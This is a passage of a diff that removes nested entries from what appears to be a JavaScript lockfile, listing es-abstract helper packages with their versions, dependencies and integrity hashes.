- "string.prototype.includes/es-abstract/es-to-primitive": ["es-to-primitive@1.2.1", "", { "dependencies": { "is-callable": "^1.1.4", "is-date-object": "^1.0.1", "is-symbol": "^1.0.2" } }, "sha512-QCOllgZJtaUo9miYBcLChTUaHNjJF3PYs1VidD7AwiEj1kYxKeQTctLAezAOH5ZKRH0g2IgPn6KwB4IT8iRpvA=="],
-
- "string.prototype.includes/es-abstract/function.prototype.name": ["function.prototype.name@1.1.6", "", { "dependencies": { "call-bind": "^1.0.2", "define-properties": "^1.2.0", "es-abstract": "^1.22.1", "functions-have-names": "^1.2.3" } }, "sha512-Z5kx79swU5P27WEayXM1tBi5Ze/lbIyiNgU3qyXUOf9b2rgXYyF9Dy9Cx+IQv/Lc8WCG6L82zwUPpSS9hGehIg=="],
-
- "string.prototype.includes/es-abstract/get-intrinsic": ["get-intrinsic@1.2.4", "", { "dependencies": { "es-errors": "^1.3.0", "function-bind": "^1.1.2", "has-proto": "^1.0.1", "has-symbols": "^1.0.3", "hasown": "^2.0.0" } }, "sha512-5uYhsJH8VJBTv7oslg4BznJYhDoRI6waYCxMmCdnTrcCrHA/fCFKoTFz2JKKE0HdDFUF7/oQuhzumXJK7paBRQ=="],
-
- "string.prototype.includes/es-abstract/get-symbol-description": ["get-symbol-description@1.0.2", "", { "dependencies": { "call-bind": "^1.0.5", "es-errors": "^1.3.0", "get-intrinsic": "^1.2.4" } }, "sha512-g0QYk1dZBxGwk+Ngc+ltRH2IBp2f7zBkBMBJZCDerh6EhlhSR6+9irMCuT/09zD6qkarHUSn529sK/yL4S27mg=="],
-
- "string.prototype.includes/es-abstract/is-array-buffer": ["is-array-buffer@3.0.4", "", { "dependencies": { "call-bind": "^1.0.2", "get-intrinsic": "^1.2.1" } }, "sha512-wcjaerHw0ydZwfhiKbXJWLDY8A7yV7KhjQOpb83hGgGfId/aQa4TOvwyzn2PuswW2gPCYEL/nEAiSVpdOj1lXw=="],
-
- "string.prototype.includes/es-abstract/is-data-view": ["is-data-view@1.0.1", "", { "dependencies": { "is-typed-array": "^1.1.13" } }, "sha512-AHkaJrsUVW6wq6JS8y3JnM/GJF/9cf+k20+iDzlSaJrinEo5+7vRiteOSwBhHRiAyQATN1AmY4hwzxJKPmYf+w=="],
-
- "string.prototype.includes/es-abstract/is-shared-array-buffer": ["is-shared-array-buffer@1.0.3", "", { "dependencies": { "call-bind": "^1.0.7" } }, "sha512-nA2hv5XIhLR3uVzDDfCIknerhx8XUKnstuOERPNNIinXG7v9u+ohXF67vxm4TPTEPU6lm61ZkwP3c9PCB97rhg=="],
-
- "string.prototype.includes/es-abstract/is-string": ["is-string@1.0.7", "", { "dependencies": { "has-tostringtag": "^1.0.0" } }, "sha512-tE2UXzivje6ofPW7l23cjDOMa09gb7xlAqG6jG5ej6uPV32TlWP3NKPigtaGeHNu9fohccRYvIiZMfOOnOYUtg=="],
-
- "string.prototype.includes/es-abstract/is-typed-array": ["is-typed-array@1.1.13", "", { "dependencies": { "which-typed-array": "^1.1.14" } }, "sha512-uZ25/bUAlUY5fR4OKT4rZQEBrzQWYV9ZJYGGsUmEJ6thodVJ1HX64ePQ6Z0qPWP+m+Uq6e9UugrE38jeYsDSMw=="],
-
- "string.prototype.includes/es-abstract/is-weakref": ["is-weakref@1.0.2", "", { "dependencies": { "call-bind": "^1.0.2" } }, "sha512-qctsuLZmIQ0+vSSMfoVvyFe2+GSEvnmZ2ezTup1SBse9+twCCeial6EEi3Nc2KFcf6+qz2FBPnjXsk8xhKSaPQ=="],
-
- "string.prototype.includes/es-abstract/object-inspect": ["object-inspect@1.13.3", "", {}, "sha512-kDCGIbxkDSXE3euJZZXzc6to7fCrKHNI/hSRQnRuQ+BWjFNzZwiFF8fj/6o2t2G9/jTj8PSIYTfCLelLZEeRpA=="],
-
- "string.prototype.includes/es-abstract/string.prototype.trim": ["string.prototype.trim@1.2.9", "", { "dependencies": { "call-bind": "^1.0.7", "define-properties": "^1.2.1", "es-abstract": "^1.23.0", "es-object-atoms": "^1.0.0" } }, "sha512-klHuCNxiMZ8MlsOihJhJEBJAiMVqU3Z2nEXWfWnIqjN0gEFS9J9+IxKozWWtQGcgoa1WUZzLjKPTr4ZHNFTFxw=="],
-
- "string.prototype.includes/es-abstract/string.prototype.trimend": ["string.prototype.trimend@1.0.8", "", { "dependencies": { "call-bind": "^1.0.7", "define-properties": "^1.2.1", "es-object-atoms": "^1.0.0" } }, "sha512-p73uL5VCHCO2BZZ6krwwQE3kCzM7NKmis8S//xEC6fQonchbum4eP6kR4DLEjQFO3Wnj3Fuo8NM0kOSjVdHjZQ=="],
-
- "string.prototype.includes/es-abstract/typed-array-buffer": ["typed-array-buffer@1.0.2", "", { "dependencies": { "call-bind": "^1.0.7", "es-errors": "^1.3.0", "is-typed-array": "^1.1.13" } }, "sha512-gEymJYKZtKXzzBzM4jqa9w6Q1Jjm7x2d+sh19AdsD4wqnMPDYyvwpsIc2Q/835kHuo3BEQ7CjelGhfTsoBb2MQ=="],
-
- "string.prototype.includes/es-abstract/typed-array-byte-length": ["typed-array-byte-length@1.0.1", "", { "dependencies": { "call-bind": "^1.0.7", "for-each": "^0.3.3", "gopd": "^1.0.1", "has-proto": "^1.0.3", "is-typed-array": "^1.1.13" } }, "sha512-3iMJ9q0ao7WE9tWcaYKIptkNBuOIcZCCT0d4MRvuuH88fEoEH62IuQe0OtraD3ebQEoTRk8XCBoknUNc1Y67pw=="],
-
- "string.prototype.includes/es-abstract/typed-array-byte-offset": ["typed-array-byte-offset@1.0.3", "", { "dependencies": { "available-typed-arrays": "^1.0.7", "call-bind": "^1.0.7", "for-each": "^0.3.3", "gopd": "^1.0.1", "has-proto": "^1.0.3", "is-typed-array": "^1.1.13", "reflect.getprototypeof": "^1.0.6" } }, "sha512-GsvTyUHTriq6o/bHcTd0vM7OQ9JEdlvluu9YISaA7+KzDzPaIzEeDFNkTfhdE3MYcNhNi0vq/LlegYgIs5yPAw=="],
-
- "string.prototype.includes/es-abstract/unbox-primitive": ["unbox-primitive@1.0.2", "", { "dependencies": { "call-bind": "^1.0.2", "has-bigints": "^1.0.2", "has-symbols": "^1.0.3", "which-boxed-primitive": "^1.0.2" } }, "sha512-61pPlCD9h51VoreyJ0BReideM3MDKMKnh6+V9L08331ipq6Q8OFXZYiqP6n/tbHx4s5I9uRhcye6BrbkizkBDw=="],
-
- "string.prototype.includes/es-abstract/which-typed-array": ["which-typed-array@1.1.15", "", { "dependencies": { "available-typed-arrays": "^1.0.7", "call-bind": "^1.0.7", "for-each": "^0.3.3", "gopd": "^1.0.1", "has-tostringtag": "^1.0.2" } }, "sha512-oV0jmFtUky6CXfkqehVvBP/LSWJ2sy4vWMioiENyJLePrBO/yKyV9OyJySfAKosh+RYkIl5zJCNZ8/4JncrpdA=="],
-
- "string.prototype.matchall/call-bind/es-define-property": ["es-define-property@1.0.0", "", { "dependencies": { "get-intrinsic": "^1.2.4" } }, "sha512-jxayLKShrEqqzJ0eumQbVhTYQM27CfT1T35+gCgDFoL82JLsXqTJ76zv6A0YLOgEnLUMvLzsDsGIrl8NFpT2gQ=="],
-
- "string.prototype.matchall/es-abstract/array-buffer-byte-length": ["array-buffer-byte-length@1.0.1", "", { "dependencies": { "call-bind": "^1.0.5", "is-array-buffer": "^3.0.4" } }, "sha512-ahC5W1xgou+KTXix4sAO8Ki12Q+jf4i0+tmk3sC+zgcynshkHxzpXdImBehiUYKKKDwvfFiJl1tZt6ewscS1Mg=="],
-
- "string.prototype.matchall/es-abstract/arraybuffer.prototype.slice": ["arraybuffer.prototype.slice@1.0.3", "", { "dependencies": { "array-buffer-byte-length": "^1.0.1", "call-bind": "^1.0.5", "define-properties": "^1.2.1", "es-abstract": "^1.22.3", "es-errors": "^1.2.1", "get-intrinsic": "^1.2.3", "is-array-buffer": "^3.0.4", "is-shared-array-buffer": "^1.0.2" } }, "sha512-bMxMKAjg13EBSVscxTaYA4mRc5t1UAXa2kXiGTNfZ079HIWXEkKmkgFrh/nJqamaLSrXO5H4WFFkPEaLJWbs3A=="],
-
- "string.prototype.matchall/es-abstract/data-view-buffer": ["data-view-buffer@1.0.1", "", { "dependencies": { "call-bind": "^1.0.6", "es-errors": "^1.3.0", "is-data-view": "^1.0.1" } }, "sha512-0lht7OugA5x3iJLOWFhWK/5ehONdprk0ISXqVFn/NFrDu+cuc8iADFrGQz5BnRK7LLU3JmkbXSxaqX+/mXYtUA=="],
-
- "string.prototype.matchall/es-abstract/data-view-byte-length": ["data-view-byte-length@1.0.1", "", { "dependencies": { "call-bind": "^1.0.7", "es-errors": "^1.3.0", "is-data-view": "^1.0.1" } }, "sha512-4J7wRJD3ABAzr8wP+OcIcqq2dlUKp4DVflx++hs5h5ZKydWMI6/D/fAot+yh6g2tHh8fLFTvNOaVN357NvSrOQ=="],
-
- "string.prototype.matchall/es-abstract/data-view-byte-offset": ["data-view-byte-offset@1.0.0", "", { "dependencies": { "call-bind": "^1.0.6", "es-errors": "^1.3.0", "is-data-view": "^1.0.1" } }, "sha512-t/Ygsytq+R995EJ5PZlD4Cu56sWa8InXySaViRzw9apusqsOO2bQP+SbYzAhR0pFKoB+43lYy8rWban9JSuXnA=="],
-
- "string.prototype.matchall/es-abstract/es-define-property": ["es-define-property@1.0.0", "", { "dependencies": { "get-intrinsic": "^1.2.4" } }, "sha512-jxayLKShrEqqzJ0eumQbVhTYQM27CfT1T35+gCgDFoL82JLsXqTJ76zv6A0YLOgEnLUMvLzsDsGIrl8NFpT2gQ=="],
-
- "string.prototype.matchall/es-abstract/es-to-primitive": ["es-to-primitive@1.2.1", "", { "dependencies": { "is-callable": "^1.1.4", "is-date-object": "^1.0.1", "is-symbol": "^1.0.2" } }, "sha512-QCOllgZJtaUo9miYBcLChTUaHNjJF3PYs1VidD7AwiEj1kYxKeQTctLAezAOH5ZKRH0g2IgPn6KwB4IT8iRpvA=="],
-
- "string.prototype.matchall/es-abstract/function.prototype.name": ["function.prototype.name@1.1.6", "", { "dependencies": { "call-bind": "^1.0.2", "define-properties": "^1.2.0", "es-abstract": "^1.22.1", "functions-have-names": "^1.2.3" } }, "sha512-Z5kx79swU5P27WEayXM1tBi5Ze/lbIyiNgU3qyXUOf9b2rgXYyF9Dy9Cx+IQv/Lc8WCG6L82zwUPpSS9hGehIg=="],
-
- "string.prototype.matchall/es-abstract/get-symbol-description": ["get-symbol-description@1.0.2", "", { "dependencies": { "call-bind": "^1.0.5", "es-errors": "^1.3.0", "get-intrinsic": "^1.2.4" } }, "sha512-g0QYk1dZBxGwk+Ngc+ltRH2IBp2f7zBkBMBJZCDerh6EhlhSR6+9irMCuT/09zD6qkarHUSn529sK/yL4S27mg=="],
-
- "string.prototype.matchall/es-abstract/is-array-buffer": ["is-array-buffer@3.0.4", "", { "dependencies": { "call-bind": "^1.0.2", "get-intrinsic": "^1.2.1" } }, "sha512-wcjaerHw0ydZwfhiKbXJWLDY8A7yV7KhjQOpb83hGgGfId/aQa4TOvwyzn2PuswW2gPCYEL/nEAiSVpdOj1lXw=="],
-
- "string.prototype.matchall/es-abstract/is-data-view": ["is-data-view@1.0.1", "", { "dependencies": { "is-typed-array": "^1.1.13" } }, "sha512-AHkaJrsUVW6wq6JS8y3JnM/GJF/9cf+k20+iDzlSaJrinEo5+7vRiteOSwBhHRiAyQATN1AmY4hwzxJKPmYf+w=="],
-
- "string.prototype.matchall/es-abstract/is-shared-array-buffer": ["is-shared-array-buffer@1.0.3", "", { "dependencies": { "call-bind": "^1.0.7" } }, "sha512-nA2hv5XIhLR3uVzDDfCIknerhx8XUKnstuOERPNNIinXG7v9u+ohXF67vxm4TPTEPU6lm61ZkwP3c9PCB97rhg=="],
-
- "string.prototype.matchall/es-abstract/is-string": ["is-string@1.0.7", "", { "dependencies": { "has-tostringtag": "^1.0.0" } }, "sha512-tE2UXzivje6ofPW7l23cjDOMa09gb7xlAqG6jG5ej6uPV32TlWP3NKPigtaGeHNu9fohccRYvIiZMfOOnOYUtg=="],
-
- "string.prototype.matchall/es-abstract/is-typed-array": ["is-typed-array@1.1.13", "", { "dependencies": { "which-typed-array": "^1.1.14" } }, "sha512-uZ25/bUAlUY5fR4OKT4rZQEBrzQWYV9ZJYGGsUmEJ6thodVJ1HX64ePQ6Z0qPWP+m+Uq6e9UugrE38jeYsDSMw=="],
-
- "string.prototype.matchall/es-abstract/is-weakref": ["is-weakref@1.0.2", "", { "dependencies": { "call-bind": "^1.0.2" } }, "sha512-qctsuLZmIQ0+vSSMfoVvyFe2+GSEvnmZ2ezTup1SBse9+twCCeial6EEi3Nc2KFcf6+qz2FBPnjXsk8xhKSaPQ=="],
-
- "string.prototype.matchall/es-abstract/object-inspect": ["object-inspect@1.13.3", "", {}, "sha512-kDCGIbxkDSXE3euJZZXzc6to7fCrKHNI/hSRQnRuQ+BWjFNzZwiFF8fj/6o2t2G9/jTj8PSIYTfCLelLZEeRpA=="],
-
- "string.prototype.matchall/es-abstract/string.prototype.trim": ["string.prototype.trim@1.2.9", "", { "dependencies": { "call-bind": "^1.0.7", "define-properties": "^1.2.1", "es-abstract": "^1.23.0", "es-object-atoms": "^1.0.0" } }, "sha512-klHuCNxiMZ8MlsOihJhJEBJAiMVqU3Z2nEXWfWnIqjN0gEFS9J9+IxKozWWtQGcgoa1WUZzLjKPTr4ZHNFTFxw=="],
-
- "string.prototype.matchall/es-abstract/string.prototype.trimend": ["string.prototype.trimend@1.0.8", "", { "dependencies": { "call-bind": "^1.0.7", "define-properties": "^1.2.1", "es-object-atoms": "^1.0.0" } }, "sha512-p73uL5VCHCO2BZZ6krwwQE3kCzM7NKmis8S//xEC6fQonchbum4eP6kR4DLEjQFO3Wnj3Fuo8NM0kOSjVdHjZQ=="],
-
- "string.prototype.matchall/es-abstract/typed-array-buffer": ["typed-array-buffer@1.0.2", "", { "dependencies": { "call-bind": "^1.0.7", "es-errors": "^1.3.0", "is-typed-array": "^1.1.13" } }, "sha512-gEymJYKZtKXzzBzM4jqa9w6Q1Jjm7x2d+sh19AdsD4wqnMPDYyvwpsIc2Q/835kHuo3BEQ7CjelGhfTsoBb2MQ=="],
-
- "string.prototype.matchall/es-abstract/typed-array-byte-length": ["typed-array-byte-length@1.0.1", "", { "dependencies": { "call-bind": "^1.0.7", "for-each": "^0.3.3", "gopd": "^1.0.1", "has-proto": "^1.0.3", "is-typed-array": "^1.1.13" } }, "sha512-3iMJ9q0ao7WE9tWcaYKIptkNBuOIcZCCT0d4MRvuuH88fEoEH62IuQe0OtraD3ebQEoTRk8XCBoknUNc1Y67pw=="],
-
- "string.prototype.matchall/es-abstract/typed-array-byte-offset": ["typed-array-byte-offset@1.0.3", "", { "dependencies": { "available-typed-arrays": "^1.0.7", "call-bind": "^1.0.7", "for-each": "^0.3.3", "gopd": "^1.0.1", "has-proto": "^1.0.3", "is-typed-array": "^1.1.13", "reflect.getprototypeof": "^1.0.6" } }, "sha512-GsvTyUHTriq6o/bHcTd0vM7OQ9JEdlvluu9YISaA7+KzDzPaIzEeDFNkTfhdE3MYcNhNi0vq/LlegYgIs5yPAw=="],
-
- "string.prototype.matchall/es-abstract/unbox-primitive": ["unbox-primitive@1.0.2", "", { "dependencies": { "call-bind": "^1.0.2", "has-bigints": "^1.0.2", "has-symbols": "^1.0.3", "which-boxed-primitive": "^1.0.2" } }, "sha512-61pPlCD9h51VoreyJ0BReideM3MDKMKnh6+V9L08331ipq6Q8OFXZYiqP6n/tbHx4s5I9uRhcye6BrbkizkBDw=="],
-
- "string.prototype.matchall/es-abstract/which-typed-array": ["which-typed-array@1.1.15", "", { "dependencies": { "available-typed-arrays": "^1.0.7", "call-bind": "^1.0.7", "for-each": "^0.3.3", "gopd": "^1.0.1", "has-tostringtag": "^1.0.2" } }, "sha512-oV0jmFtUky6CXfkqehVvBP/LSWJ2sy4vWMioiENyJLePrBO/yKyV9OyJySfAKosh+RYkIl5zJCNZ8/4JncrpdA=="],
-
- "string.prototype.repeat/es-abstract/array-buffer-byte-length": ["array-buffer-byte-length@1.0.1", "", { "dependencies": { "call-bind": "^1.0.5", "is-array-buffer": "^3.0.4" } }, "sha512-ahC5W1xgou+KTXix4sAO8Ki12Q+jf4i0+tmk3sC+zgcynshkHxzpXdImBehiUYKKKDwvfFiJl1tZt6ewscS1Mg=="],
-
- "string.prototype.repeat/es-abstract/arraybuffer.prototype.slice": ["arraybuffer.prototype.slice@1.0.3", "", { "dependencies": { "array-buffer-byte-length": "^1.0.1", "call-bind": "^1.0.5", "define-properties": "^1.2.1", "es-abstract": "^1.22.3", "es-errors": "^1.2.1", "get-intrinsic": "^1.2.3", "is-array-buffer": "^3.0.4", "is-shared-array-buffer": "^1.0.2" } }, "sha512-bMxMKAjg13EBSVscxTaYA4mRc5t1UAXa2kXiGTNfZ079HIWXEkKmkgFrh/nJqamaLSrXO5H4WFFkPEaLJWbs3A=="],
-
- "string.prototype.repeat/es-abstract/call-bind": ["call-bind@1.0.7", "", { "dependencies": { "es-define-property": "^1.0.0", "es-errors": "^1.3.0", "function-bind": "^1.1.2", "get-intrinsic": "^1.2.4", "set-function-length": "^1.2.1" } }, "sha512-GHTSNSYICQ7scH7sZ+M2rFopRoLh8t2bLSW6BbgrtLsahOIB5iyAVJf9GjWK3cYTDaMj4XdBpM1cA6pIS0Kv2w=="],
-
- "string.prototype.repeat/es-abstract/data-view-buffer": ["data-view-buffer@1.0.1", "", { "dependencies": { "call-bind": "^1.0.6", "es-errors": "^1.3.0", "is-data-view": "^1.0.1" } }, "sha512-0lht7OugA5x3iJLOWFhWK/5ehONdprk0ISXqVFn/NFrDu+cuc8iADFrGQz5BnRK7LLU3JmkbXSxaqX+/mXYtUA=="],
-
- "string.prototype.repeat/es-abstract/data-view-byte-length": ["data-view-byte-length@1.0.1", "", { "dependencies": { "call-bind": "^1.0.7", "es-errors": "^1.3.0", "is-data-view": "^1.0.1" } }, "sha512-4J7wRJD3ABAzr8wP+OcIcqq2dlUKp4DVflx++hs5h5ZKydWMI6/D/fAot+yh6g2tHh8fLFTvNOaVN357NvSrOQ=="],
-
- "string.prototype.repeat/es-abstract/data-view-byte-offset": ["data-view-byte-offset@1.0.0", "", { "dependencies": { "call-bind": "^1.0.6", "es-errors": "^1.3.0", "is-data-view": "^1.0.1" } }, "sha512-t/Ygsytq+R995EJ5PZlD4Cu56sWa8InXySaViRzw9apusqsOO2bQP+SbYzAhR0pFKoB+43lYy8rWban9JSuXnA=="],
-
- "string.prototype.repeat/es-abstract/es-define-property": ["es-define-property@1.0.0", "", { "dependencies": { "get-intrinsic": "^1.2.4" } }, "sha512-jxayLKShrEqqzJ0eumQbVhTYQM27CfT1T35+gCgDFoL82JLsXqTJ76zv6A0YLOgEnLUMvLzsDsGIrl8NFpT2gQ=="],
-
- "string.prototype.repeat/es-abstract/es-object-atoms": ["es-object-atoms@1.0.0", "", { "dependencies": { "es-errors": "^1.3.0" } }, "sha512-MZ4iQ6JwHOBQjahnjwaC1ZtIBH+2ohjamzAO3oaHcXYup7qxjF2fixyH+Q71voWHeOkI2q/TnJao/KfXYIZWbw=="],
-
- "string.prototype.repeat/es-abstract/es-to-primitive": ["es-to-primitive@1.2.1", "", { "dependencies": { "is-callable": "^1.1.4", "is-date-object": "^1.0.1", "is-symbol": "^1.0.2" } }, "sha512-QCOllgZJtaUo9miYBcLChTUaHNjJF3PYs1VidD7AwiEj1kYxKeQTctLAezAOH5ZKRH0g2IgPn6KwB4IT8iRpvA=="],
-
- "string.prototype.repeat/es-abstract/function.prototype.name": ["function.prototype.name@1.1.6", "", { "dependencies": { "call-bind": "^1.0.2", "define-properties": "^1.2.0", "es-abstract": "^1.22.1", "functions-have-names": "^1.2.3" } }, "sha512-Z5kx79swU5P27WEayXM1tBi5Ze/lbIyiNgU3qyXUOf9b2rgXYyF9Dy9Cx+IQv/Lc8WCG6L82zwUPpSS9hGehIg=="],
-
- "string.prototype.repeat/es-abstract/get-intrinsic": ["get-intrinsic@1.2.4", "", { "dependencies": { "es-errors": "^1.3.0", "function-bind": "^1.1.2", "has-proto": "^1.0.1", "has-symbols": "^1.0.3", "hasown": "^2.0.0" } }, "sha512-5uYhsJH8VJBTv7oslg4BznJYhDoRI6waYCxMmCdnTrcCrHA/fCFKoTFz2JKKE0HdDFUF7/oQuhzumXJK7paBRQ=="],
-
- "string.prototype.repeat/es-abstract/get-symbol-description": ["get-symbol-description@1.0.2", "", { "dependencies": { "call-bind": "^1.0.5", "es-errors": "^1.3.0", "get-intrinsic": "^1.2.4" } }, "sha512-g0QYk1dZBxGwk+Ngc+ltRH2IBp2f7zBkBMBJZCDerh6EhlhSR6+9irMCuT/09zD6qkarHUSn529sK/yL4S27mg=="],
-
- "string.prototype.repeat/es-abstract/is-array-buffer": ["is-array-buffer@3.0.4", "", { "dependencies": { "call-bind": "^1.0.2", "get-intrinsic": "^1.2.1" } }, "sha512-wcjaerHw0ydZwfhiKbXJWLDY8A7yV7KhjQOpb83hGgGfId/aQa4TOvwyzn2PuswW2gPCYEL/nEAiSVpdOj1lXw=="],
-
- "string.prototype.repeat/es-abstract/is-data-view": ["is-data-view@1.0.1", "", { "dependencies": { "is-typed-array": "^1.1.13" } }, "sha512-AHkaJrsUVW6wq6JS8y3JnM/GJF/9cf+k20+iDzlSaJrinEo5+7vRiteOSwBhHRiAyQATN1AmY4hwzxJKPmYf+w=="],
-
- "string.prototype.repeat/es-abstract/is-shared-array-buffer": ["is-shared-array-buffer@1.0.3", "", { "dependencies": { "call-bind": "^1.0.7" } }, "sha512-nA2hv5XIhLR3uVzDDfCIknerhx8XUKnstuOERPNNIinXG7v9u+ohXF67vxm4TPTEPU6lm61ZkwP3c9PCB97rhg=="],
-
- "string.prototype.repeat/es-abstract/is-string": ["is-string@1.0.7", "", { "dependencies": { "has-tostringtag": "^1.0.0" } }, "sha512-tE2UXzivje6ofPW7l23cjDOMa09gb7xlAqG6jG5ej6uPV32TlWP3NKPigtaGeHNu9fohccRYvIiZMfOOnOYUtg=="],
-
- "string.prototype.repeat/es-abstract/is-typed-array": ["is-typed-array@1.1.13", "", { "dependencies": { "which-typed-array": "^1.1.14" } }, "sha512-uZ25/bUAlUY5fR4OKT4rZQEBrzQWYV9ZJYGGsUmEJ6thodVJ1HX64ePQ6Z0qPWP+m+Uq6e9UugrE38jeYsDSMw=="],
-
- "string.prototype.repeat/es-abstract/is-weakref": ["is-weakref@1.0.2", "", { "dependencies": { "call-bind": "^1.0.2" } }, "sha512-qctsuLZmIQ0+vSSMfoVvyFe2+GSEvnmZ2ezTup1SBse9+twCCeial6EEi3Nc2KFcf6+qz2FBPnjXsk8xhKSaPQ=="],
-
- "string.prototype.repeat/es-abstract/object-inspect": ["object-inspect@1.13.3", "", {}, "sha512-kDCGIbxkDSXE3euJZZXzc6to7fCrKHNI/hSRQnRuQ+BWjFNzZwiFF8fj/6o2t2G9/jTj8PSIYTfCLelLZEeRpA=="],
-
- "string.prototype.repeat/es-abstract/string.prototype.trim": ["string.prototype.trim@1.2.9", "", { "dependencies": { "call-bind": "^1.0.7", "define-properties": "^1.2.1", "es-abstract": "^1.23.0", "es-object-atoms": "^1.0.0" } }, "sha512-klHuCNxiMZ8MlsOihJhJEBJAiMVqU3Z2nEXWfWnIqjN0gEFS9J9+IxKozWWtQGcgoa1WUZzLjKPTr4ZHNFTFxw=="],
-
- "string.prototype.repeat/es-abstract/string.prototype.trimend": ["string.prototype.trimend@1.0.8", "", { "dependencies": { "call-bind": "^1.0.7", "define-properties": "^1.2.1", "es-object-atoms": "^1.0.0" } }, "sha512-p73uL5VCHCO2BZZ6krwwQE3kCzM7NKmis8S//xEC6fQonchbum4eP6kR4DLEjQFO3Wnj3Fuo8NM0kOSjVdHjZQ=="],
-
- "string.prototype.repeat/es-abstract/typed-array-buffer": ["typed-array-buffer@1.0.2", "", { "dependencies": { "call-bind": "^1.0.7", "es-errors": "^1.3.0", "is-typed-array": "^1.1.13" } }, "sha512-gEymJYKZtKXzzBzM4jqa9w6Q1Jjm7x2d+sh19AdsD4wqnMPDYyvwpsIc2Q/835kHuo3BEQ7CjelGhfTsoBb2MQ=="],
-
- "string.prototype.repeat/es-abstract/typed-array-byte-length": ["typed-array-byte-length@1.0.1", "", { "dependencies": { "call-bind": "^1.0.7", "for-each": "^0.3.3", "gopd": "^1.0.1", "has-proto": "^1.0.3", "is-typed-array": "^1.1.13" } }, "sha512-3iMJ9q0ao7WE9tWcaYKIptkNBuOIcZCCT0d4MRvuuH88fEoEH62IuQe0OtraD3ebQEoTRk8XCBoknUNc1Y67pw=="],
-
- "string.prototype.repeat/es-abstract/typed-array-byte-offset": ["typed-array-byte-offset@1.0.3", "", { "dependencies": { "available-typed-arrays": "^1.0.7", "call-bind": "^1.0.7", "for-each": "^0.3.3", "gopd": "^1.0.1", "has-proto": "^1.0.3", "is-typed-array": "^1.1.13", "reflect.getprototypeof": "^1.0.6" } }, "sha512-GsvTyUHTriq6o/bHcTd0vM7OQ9JEdlvluu9YISaA7+KzDzPaIzEeDFNkTfhdE3MYcNhNi0vq/LlegYgIs5yPAw=="],
-
- "string.prototype.repeat/es-abstract/unbox-primitive": ["unbox-primitive@1.0.2", "", { "dependencies": { "call-bind": "^1.0.2", "has-bigints": "^1.0.2", "has-symbols": "^1.0.3", "which-boxed-primitive": "^1.0.2" } }, "sha512-61pPlCD9h51VoreyJ0BReideM3MDKMKnh6+V9L08331ipq6Q8OFXZYiqP6n/tbHx4s5I9uRhcye6BrbkizkBDw=="],
-
- "string.prototype.repeat/es-abstract/which-typed-array": ["which-typed-array@1.1.15", "", { "dependencies": { "available-typed-arrays": "^1.0.7", "call-bind": "^1.0.7", "for-each": "^0.3.3", "gopd": "^1.0.1", "has-tostringtag": "^1.0.2" } }, "sha512-oV0jmFtUky6CXfkqehVvBP/LSWJ2sy4vWMioiENyJLePrBO/yKyV9OyJySfAKosh+RYkIl5zJCNZ8/4JncrpdA=="],
-
- "string.prototype.trimstart/call-bind/es-define-property": ["es-define-property@1.0.0", "", { "dependencies": { "get-intrinsic": "^1.2.4" } }, "sha512-jxayLKShrEqqzJ0eumQbVhTYQM27CfT1T35+gCgDFoL82JLsXqTJ76zv6A0YLOgEnLUMvLzsDsGIrl8NFpT2gQ=="],
-
- "string.prototype.trimstart/call-bind/get-intrinsic": ["get-intrinsic@1.2.4", "", { "dependencies": { "es-errors": "^1.3.0", "function-bind": "^1.1.2", "has-proto": "^1.0.1", "has-symbols": "^1.0.3", "hasown": "^2.0.0" } }, "sha512-5uYhsJH8VJBTv7oslg4BznJYhDoRI6waYCxMmCdnTrcCrHA/fCFKoTFz2JKKE0HdDFUF7/oQuhzumXJK7paBRQ=="],
-
- "typed-array-byte-offset/reflect.getprototypeof/which-builtin-type": ["which-builtin-type@1.2.1", "", { "dependencies": { "call-bound": "^1.0.2", "function.prototype.name": "^1.1.6", "has-tostringtag": "^1.0.2", "is-async-function": "^2.0.0", "is-date-object": "^1.1.0", "is-finalizationregistry": "^1.1.0", "is-generator-function": "^1.0.10", "is-regex": "^1.2.1", "is-weakref": "^1.0.2", "isarray": "^2.0.5", "which-boxed-primitive": "^1.1.0", "which-collection": "^1.0.2", "which-typed-array": "^1.1.16" } }, "sha512-6iBczoX+kDQ7a3+YJBnh3T+KZRxM/iYNPXicqk66/Qfm1b93iu+yOImkg0zHbj5LNOcNv1TEADiZ0xa34B4q6Q=="],
-
- "typed-array-length/call-bind/es-define-property": ["es-define-property@1.0.0", "", { "dependencies": { "get-intrinsic": "^1.2.4" } }, "sha512-jxayLKShrEqqzJ0eumQbVhTYQM27CfT1T35+gCgDFoL82JLsXqTJ76zv6A0YLOgEnLUMvLzsDsGIrl8NFpT2gQ=="],
-
- "typed-array-length/call-bind/get-intrinsic": ["get-intrinsic@1.2.4", "", { "dependencies": { "es-errors": "^1.3.0", "function-bind": "^1.1.2", "has-proto": "^1.0.1", "has-symbols": "^1.0.3", "hasown": "^2.0.0" } }, "sha512-5uYhsJH8VJBTv7oslg4BznJYhDoRI6waYCxMmCdnTrcCrHA/fCFKoTFz2JKKE0HdDFUF7/oQuhzumXJK7paBRQ=="],
-
- "typed-array-length/is-typed-array/which-typed-array": ["which-typed-array@1.1.15", "", { "dependencies": { "available-typed-arrays": "^1.0.7", "call-bind": "^1.0.7", "for-each": "^0.3.3", "gopd": "^1.0.1", "has-tostringtag": "^1.0.2" } }, "sha512-oV0jmFtUky6CXfkqehVvBP/LSWJ2sy4vWMioiENyJLePrBO/yKyV9OyJySfAKosh+RYkIl5zJCNZ8/4JncrpdA=="],
-
- "which-boxed-primitive/is-symbol/has-symbols": ["has-symbols@1.1.0", "", {}, "sha512-1cDNdwJ2Jaohmb3sg4OmKaMBwuC48sYni5HUw2DvsC8LjGTLK9h+eb1X6RyuOHe4hT0ULCW68iomhjUoKUqlPQ=="],
-
- "which-boxed-primitive/is-symbol/safe-regex-test": ["safe-regex-test@1.1.0", "", { "dependencies": { "call-bound": "^1.0.2", "es-errors": "^1.3.0", "is-regex": "^1.2.1" } }, "sha512-x/+Cz4YrimQxQccJf5mKEbIa1NzeCRNI5Ecl/ekmlYaampdNLPalVyIcCZNNH3MvmqBugV5TMYZXv0ljslUlaw=="],
-
- "which-builtin-type/call-bind/es-define-property": ["es-define-property@1.0.0", "", { "dependencies": { "get-intrinsic": "^1.2.4" } }, "sha512-jxayLKShrEqqzJ0eumQbVhTYQM27CfT1T35+gCgDFoL82JLsXqTJ76zv6A0YLOgEnLUMvLzsDsGIrl8NFpT2gQ=="],
-
